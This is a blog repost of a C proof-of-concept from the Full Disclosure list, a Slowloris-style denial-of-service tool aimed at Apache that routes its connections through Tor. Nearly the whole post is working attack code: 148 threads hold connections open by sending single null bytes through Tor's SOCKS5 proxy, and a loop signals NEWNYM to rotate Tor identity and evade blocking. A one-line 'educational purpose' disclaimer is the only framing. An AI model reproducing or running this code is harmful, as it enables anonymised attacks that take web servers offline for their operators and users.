lo0.ro cat /dev/null > stupidity – nobody is safe

Slowloris with a twist over tor

Someone decided to post this on fulldisclosure.
Posted only for educational purpose only.

[cc lang="c"]/* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
* Slowloris with a twist over tor
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
*
* Due to the alpha version of this code being leaked I've decided
* to release an improved version to fully show this method of
* attack mostly free of the bugs / dependency on torsocks. This
* attack works on a similar idea of slowloris only it sends packets
* containing a single 0x00 and optionally nothing causing Apache
* to keep the connection alive almost indefinitely.
*
* Due to no one knowing how th3j35t3r's XerXes works I can not say
* if this is the same method. This was one of my many ideas I was
* exploring as to how it could possibly work that has some successful
* results.
*
* - SanguineRose / William Welna
*
* Leaked Version
* http://seclists.org/fulldisclosure/2011/Jul/84
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

/* Re-connecting to tor sometimes takes a while, in order for this to be effective it requires
* mass amounts of threads handling only a few connections each, since this is a POC I will leave
* it up to others to fix that. It also has limited success/attack lengths due to tor being slow
*/
#define CONNECTIONS 3
#define THREADS 148

typedef struct {
const char *host, *port;
} thread_args;

// Simple debug function
void dump_array(char *name, char *data, int size) {
int x, z, indent = strlen(name) + 2;
fprintf(stderr, "%s { ", name);
for(x=0; x < size; x++) {
for(z=0; z < indent; z++)
putc(0x20, stderr);
fprintf(stderr, "%20x\n", data[x]);
}
fprintf(stderr, "};\n");
}

int make_socket(const char *host, const char *port) {
struct addrinfo hints, *servinfo, *p;
int sock, r, y=1;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if((r=getaddrinfo(host, port, &hints, &servinfo))!=0) {
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
return -1;
}
for(p = servinfo; p != NULL; p = p->ai_next) {
if((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
continue;
}
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &y, 4);
if(connect(sock, p->ai_addr, p->ai_addrlen)==-1) {
close(sock);
continue;
}
break;
}
if(p == NULL) {
if(servinfo)
freeaddrinfo(servinfo);
return -2;
}
if(servinfo)
freeaddrinfo(servinfo);
return sock;
}

/* Opens SOCKS5 connection to tor
* I also dedicate this function to pr0f <3
*/
int pr0f_loves_me_tor_connect(const char *host, const char *port) {
char *buf = calloc(1024, sizeof(char));
short l = strlen(host), t;
int x, sock;
fprintf(stderr, "[Connect %s:%s]\n", host, port);
if((sock=make_socket("127.0.0.1", "9050"))<0) {
free(buf);
return sock;
}
write(sock, "\x05\x01\x00", 3); // SOCKS5, 1 Authentication Method, No Auth/Plain
read(sock, buf, 1024);
if((buf[0] != 0x05) || (buf[1] == 0xFF) || (buf[1] != 0x00)) {
free(buf);
return -3; // Auth not accepted by socks server / wrong version
}
buf[0] = 0x05; buf[1] = 0x01; buf[2] = 0x00; buf[3] = 0x03; buf[4] = l;
for(x=0; x < l; x++)
buf[5+x] = host[x];
x=l+5;
t = htons(atoi(port));
memcpy((buf+x), &t, 2);
//dump_array("final_request", buf, x+2);
write(sock, buf, x+2);// send request
read(sock, buf, 1024);
if((buf[0] == 0x05) && (buf[1] == 0x00)) { // connection granted/success
free(buf);
return sock;
}
free(buf);
return -4; // Unable to conect
}

// This is for the SIGPIPE error on bad connections / premature closing
void broke(int s) {
// do nothing
}

void *attack(void *arg) {
thread_args *a = (thread_args *)arg;
int x, r, socks[CONNECTIONS];
fprintf(stderr, "[Thread Started]\n");
for(x=0; x < CONNECTIONS; x++)
socks[x]=0;
signal(SIGPIPE, &broke);
while(1) {
for(x=0; x < CONNECTIONS; x++) {
if(socks[x] <= 0) {
socks[x] = pr0f_loves_me_tor_connect(a->host, a->port);
fprintf(stderr, "[Socket Returned %i]\n", socks[x]);
}
if(write(socks[x], "\0", 1) < 0) {
close(socks[x]);
fprintf(stderr, "[Socket Error Returned %i]\n", socks[x]);
socks[x] = pr0f_loves_me_tor_connect(a->host, a->port);
}
}
usleep(100000);
}
}

void do_help(char *n) {
fprintf(stderr, "Usage: %s \n");
exit(0);
}

void *cycle_identity() {
int sock = make_socket("localhost", "9051");
char *shit_bucket = calloc(1024, sizeof(char));
if(sock < 0) {
fprintf(stderr, "Can't connect to tor control port\n");
free(shit_bucket);
pthread_exit(NULL);
}
write(sock, "AUTHENTICATE \"\"\n", 16);
while(1) {
write(sock, "signal NEWNYM\n", 15);
fprintf(stderr, "[cycle_identity -> signal NEWNYM\n");
read(sock, shit_bucket, 1024);
sleep(5);
}
}

int main(int argc, char **argv) {
pthread_t threads[THREADS];
pthread_t cycle_tid;
thread_args arg;
void *status;
int x;
if(argc != 3)
do_help(argv[0]);
arg.host = (const char *)argv[1];
arg.port = (const char *)argv[2];
pthread_create(&cycle_tid, NULL, cycle_identity, NULL);
for(x=0; x < THREADS; x++) {
pthread_create(&threads[x], NULL, attack, &arg);
usleep(200000);
}
for(x=0; x < THREADS; x++)
pthread_join(threads[x], &status);
pthread_kill(cycle_tid, 15);
pthread_exit(NULL);
return 0;
}[/cc]